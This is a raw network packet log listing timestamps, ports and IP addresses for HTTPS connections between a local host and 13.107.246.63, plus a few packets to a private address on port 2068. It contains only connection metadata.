Nov 23, 2024 21:13:49.969961882 CET	443	50049	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:49.970020056 CET	50049	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:49.970175982 CET	50049	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:49.970191002 CET	443	50049	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:50.059660912 CET	443	50045	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:50.061980009 CET	443	50045	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:50.062109947 CET	443	50045	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:50.062207937 CET	50045	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:50.062269926 CET	50045	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:50.062269926 CET	50045	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:50.062284946 CET	443	50045	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:50.062295914 CET	443	50045	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:50.067516088 CET	50050	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:50.067622900 CET	443	50050	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:50.067795038 CET	50050	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:50.067856073 CET	50050	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:50.067867041 CET	443	50050	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:50.251516104 CET	50044	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:50.251540899 CET	443	50044	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:51.703720093 CET	443	50046	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:51.704242945 CET	50046	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:51.704276085 CET	443	50046	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:51.704719067 CET	50046	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:51.704724073 CET	443	50046	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:51.723587990 CET	443	50048	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:51.724140882 CET	50048	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:51.724169016 CET	443	50048	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:51.724584103 CET	50048	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:51.724587917 CET	443	50048	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:51.740257025 CET	443	50049	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:51.740710974 CET	50049	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:51.740734100 CET	443	50049	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:51.741167068 CET	50049	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:51.741173983 CET	443	50049	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:51.763988972 CET	443	50047	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:51.764585018 CET	50047	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:51.764615059 CET	443	50047	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:51.765263081 CET	50047	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:51.765270948 CET	443	50047	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:51.993558884 CET	443	50050	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:51.994127035 CET	50050	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:51.994153023 CET	443	50050	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:51.994713068 CET	50050	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:51.994719982 CET	443	50050	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:52.231487036 CET	443	50046	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:52.231569052 CET	443	50046	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:52.232242107 CET	50046	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:52.232242107 CET	50046	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:52.232242107 CET	50046	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:52.235507011 CET	50051	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:52.235553026 CET	443	50051	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:52.239726067 CET	50051	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:52.239726067 CET	50051	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:52.239753962 CET	443	50051	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:52.327081919 CET	443	50049	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:52.327267885 CET	443	50048	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:52.327641010 CET	443	50049	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:52.331234932 CET	443	50048	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:52.331310034 CET	50048	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:52.331315994 CET	50049	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:52.331388950 CET	50049	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:52.331389904 CET	50049	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:52.331403017 CET	443	50049	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:52.331412077 CET	443	50049	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:52.331429958 CET	50048	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:52.331430912 CET	50048	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:52.331443071 CET	443	50048	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:52.331454992 CET	443	50048	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:52.334445000 CET	50053	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:52.334494114 CET	443	50053	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:52.334568024 CET	50052	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:52.334599972 CET	443	50052	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:52.334630013 CET	50053	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:52.334753036 CET	50053	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:52.334769011 CET	443	50053	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:52.334801912 CET	50052	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:52.334896088 CET	50052	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:52.334906101 CET	443	50052	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:52.336095095 CET	443	50047	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:52.339749098 CET	443	50047	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:52.339797974 CET	443	50047	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:52.339935064 CET	50047	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:52.339935064 CET	50047	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:52.339962959 CET	50047	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:52.339977980 CET	443	50047	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:52.343616009 CET	50054	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:52.343648911 CET	443	50054	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:52.347646952 CET	50054	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:52.347855091 CET	50054	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:52.347865105 CET	443	50054	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:52.495163918 CET	443	50050	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:52.498493910 CET	443	50050	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:52.499612093 CET	50050	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:52.499795914 CET	50050	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:52.499814034 CET	443	50050	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:52.499836922 CET	50050	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:52.499841928 CET	443	50050	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:52.503515959 CET	50055	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:52.503561020 CET	443	50055	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:52.507707119 CET	50055	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:52.507707119 CET	50055	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:52.507764101 CET	443	50055	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:52.530985117 CET	50046	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:52.531008959 CET	443	50046	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:54.131015062 CET	443	50051	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:54.134471893 CET	50051	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:54.134471893 CET	50051	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:54.134490967 CET	443	50051	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:54.134510040 CET	443	50051	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:54.182365894 CET	443	50052	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:54.183167934 CET	50052	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:54.183183908 CET	443	50052	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:54.187565088 CET	443	50054	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:54.187608957 CET	50052	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:54.187613964 CET	443	50052	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:54.188874960 CET	443	50053	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:54.189405918 CET	50053	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:54.189430952 CET	443	50053	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:54.189469099 CET	50054	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:54.189476967 CET	443	50054	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:54.189812899 CET	50053	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:54.189815998 CET	50054	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:54.189820051 CET	443	50053	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:54.189821005 CET	443	50054	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:54.377829075 CET	443	50055	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:54.380026102 CET	50055	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:54.380050898 CET	443	50055	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:54.382550001 CET	50055	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:54.382558107 CET	443	50055	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:54.596631050 CET	443	50051	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:54.599855900 CET	443	50051	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:54.599900007 CET	443	50051	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:54.603646040 CET	50051	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:54.603646040 CET	50051	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:54.603730917 CET	50051	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:54.603751898 CET	443	50051	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:54.606153965 CET	50056	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:54.606188059 CET	443	50056	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:54.606654882 CET	50056	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:54.606803894 CET	50056	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:54.606815100 CET	443	50056	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:54.643141031 CET	443	50054	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:54.644289017 CET	443	50053	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:54.646209955 CET	443	50054	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:54.647663116 CET	50054	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:54.647679090 CET	443	50053	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:54.647713900 CET	50054	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:54.647713900 CET	50054	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:54.647735119 CET	443	50054	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:54.647747993 CET	443	50054	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:54.647768974 CET	50053	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:54.647931099 CET	50053	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:54.647948980 CET	443	50053	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:54.647975922 CET	50053	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:54.647984982 CET	443	50053	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:54.650454044 CET	50057	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:54.650460958 CET	50058	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:54.650489092 CET	443	50057	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:54.650495052 CET	443	50058	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:54.651645899 CET	50057	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:54.651653051 CET	50058	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:54.651729107 CET	50057	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:54.651732922 CET	50058	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:54.651740074 CET	443	50057	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:54.651741982 CET	443	50058	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:54.785149097 CET	443	50052	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:54.788031101 CET	443	50052	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:54.791673899 CET	50052	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:54.791675091 CET	50052	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:54.791675091 CET	50052	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:54.794163942 CET	50059	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:54.794199944 CET	443	50059	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:54.795705080 CET	50059	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:54.795705080 CET	50059	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:54.795736074 CET	443	50059	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:54.825710058 CET	443	50055	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:54.828759909 CET	443	50055	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:54.831648111 CET	50055	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:54.831705093 CET	50055	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:54.831705093 CET	50055	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:54.831724882 CET	443	50055	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:54.831737041 CET	443	50055	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:54.834392071 CET	50060	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:54.834429026 CET	443	50060	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:54.835624933 CET	50060	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:54.839518070 CET	50060	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:54.839530945 CET	443	50060	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:54.859692097 CET	50028	2068	192.168.2.4	192.168.68.139
Nov 23, 2024 21:13:55.090845108 CET	2068	50028	192.168.68.139	192.168.2.4
Nov 23, 2024 21:13:55.093689919 CET	50052	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:55.093709946 CET	443	50052	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:55.891175985 CET	50028	2068	192.168.2.4	192.168.68.139
Nov 23, 2024 21:13:56.142051935 CET	2068	50028	192.168.68.139	192.168.2.4
Nov 23, 2024 21:13:56.568079948 CET	443	50056	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:56.570425987 CET	50056	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:56.570441961 CET	443	50056	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:56.573915005 CET	50056	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:56.573920965 CET	443	50056	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:56.611819029 CET	443	50057	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:56.614236116 CET	50057	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:56.614255905 CET	443	50057	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:56.616019964 CET	443	50058	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:56.616082907 CET	50057	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:56.616099119 CET	443	50057	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:56.616404057 CET	50058	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:56.616413116 CET	443	50058	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:56.616981030 CET	50058	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:56.616986036 CET	443	50058	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:56.629720926 CET	443	50059	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:56.634329081 CET	50059	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:56.634346008 CET	443	50059	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:56.638204098 CET	50059	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:56.638219118 CET	443	50059	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:56.812339067 CET	443	50060	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:56.815963984 CET	50060	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:56.815994978 CET	443	50060	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:56.819530964 CET	50060	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:56.819538116 CET	443	50060	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:57.023494005 CET	443	50056	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:57.026748896 CET	443	50056	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:57.026822090 CET	50056	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:57.026907921 CET	50056	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:57.026931047 CET	443	50056	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:57.026956081 CET	50056	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:57.026962042 CET	443	50056	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:57.030078888 CET	50061	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:57.030121088 CET	443	50061	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:57.030201912 CET	50061	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:57.030349970 CET	50061	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:57.030363083 CET	443	50061	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:57.093123913 CET	443	50058	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:57.093805075 CET	443	50057	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:57.096393108 CET	443	50058	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:57.096450090 CET	50058	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:57.097280025 CET	443	50057	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:57.097325087 CET	50057	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:57.124808073 CET	443	50059	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:57.129306078 CET	443	50059	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:57.129322052 CET	50058	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:57.129360914 CET	443	50058	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:57.129375935 CET	443	50059	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:57.129379034 CET	50058	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:57.129388094 CET	443	50058	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:57.129447937 CET	50059	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:57.129447937 CET	50059	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:57.130764961 CET	50057	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:57.130764961 CET	50057	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:57.130791903 CET	443	50057	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:57.130806923 CET	443	50057	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:57.132124901 CET	50059	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:57.132138014 CET	443	50059	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:57.132164955 CET	50059	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:57.132169962 CET	443	50059	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:57.135992050 CET	50062	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:57.136035919 CET	443	50062	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:57.136096001 CET	50062	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:57.137124062 CET	50063	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:57.137156010 CET	443	50063	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:57.137208939 CET	50063	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:57.137685061 CET	50062	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:57.137701035 CET	443	50062	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:57.137844086 CET	50063	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:57.137865067 CET	443	50063	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:57.139039040 CET	50064	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:57.139077902 CET	443	50064	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:57.139166117 CET	50064	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:57.139287949 CET	50064	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:57.139300108 CET	443	50064	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:57.260926962 CET	443	50060	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:57.264086008 CET	443	50060	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:57.264144897 CET	50060	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:57.264251947 CET	50060	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:57.264266968 CET	443	50060	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:57.264283895 CET	50060	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:57.264290094 CET	443	50060	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:57.272233009 CET	50065	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:57.272286892 CET	443	50065	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:57.272351980 CET	50065	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:57.272469044 CET	50065	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:57.272484064 CET	443	50065	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:58.841757059 CET	443	50061	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:58.842428923 CET	50061	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:58.842463970 CET	443	50061	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:58.843166113 CET	50061	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:58.843175888 CET	443	50061	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:58.858736038 CET	443	50063	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:58.859406948 CET	50063	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:58.859443903 CET	443	50063	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:58.860584021 CET	50063	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:58.860603094 CET	443	50063	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:58.969809055 CET	443	50062	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:58.970613003 CET	50062	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:58.970638990 CET	443	50062	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:58.971507072 CET	50062	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:58.971514940 CET	443	50062	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:58.993583918 CET	443	50064	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:58.994142056 CET	50064	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:58.994167089 CET	443	50064	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:58.994805098 CET	50064	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:58.994812965 CET	443	50064	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:59.099189997 CET	443	50065	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:59.099900007 CET	50065	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:59.099927902 CET	443	50065	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:59.100512028 CET	50065	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:59.100517035 CET	443	50065	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:59.293090105 CET	443	50061	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:59.296799898 CET	443	50061	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:59.296861887 CET	443	50061	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:59.296860933 CET	50061	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:59.296915054 CET	50061	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:59.296957016 CET	50061	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:59.296974897 CET	443	50061	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:59.296991110 CET	50061	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:59.296999931 CET	443	50061	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:59.301843882 CET	50066	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:59.301882982 CET	443	50066	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:59.301949978 CET	50066	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:59.302108049 CET	50066	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:59.302124023 CET	443	50066	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:59.324719906 CET	443	50063	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:59.325134993 CET	443	50063	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:59.325190067 CET	50063	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:59.325205088 CET	443	50063	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:59.325231075 CET	443	50063	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:59.325278044 CET	50063	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:59.325336933 CET	50063	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:59.325350046 CET	443	50063	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:59.325360060 CET	50063	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:59.325373888 CET	443	50063	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:59.331671953 CET	50067	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:59.331770897 CET	443	50067	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:59.331845045 CET	50067	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:59.332428932 CET	50067	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:59.332468033 CET	443	50067	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:59.422163010 CET	443	50062	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:59.425734043 CET	443	50062	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:59.425801992 CET	50062	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:59.425847054 CET	50062	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:59.425847054 CET	50062	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:59.425863028 CET	443	50062	13.107.246.63	192.168.2.4
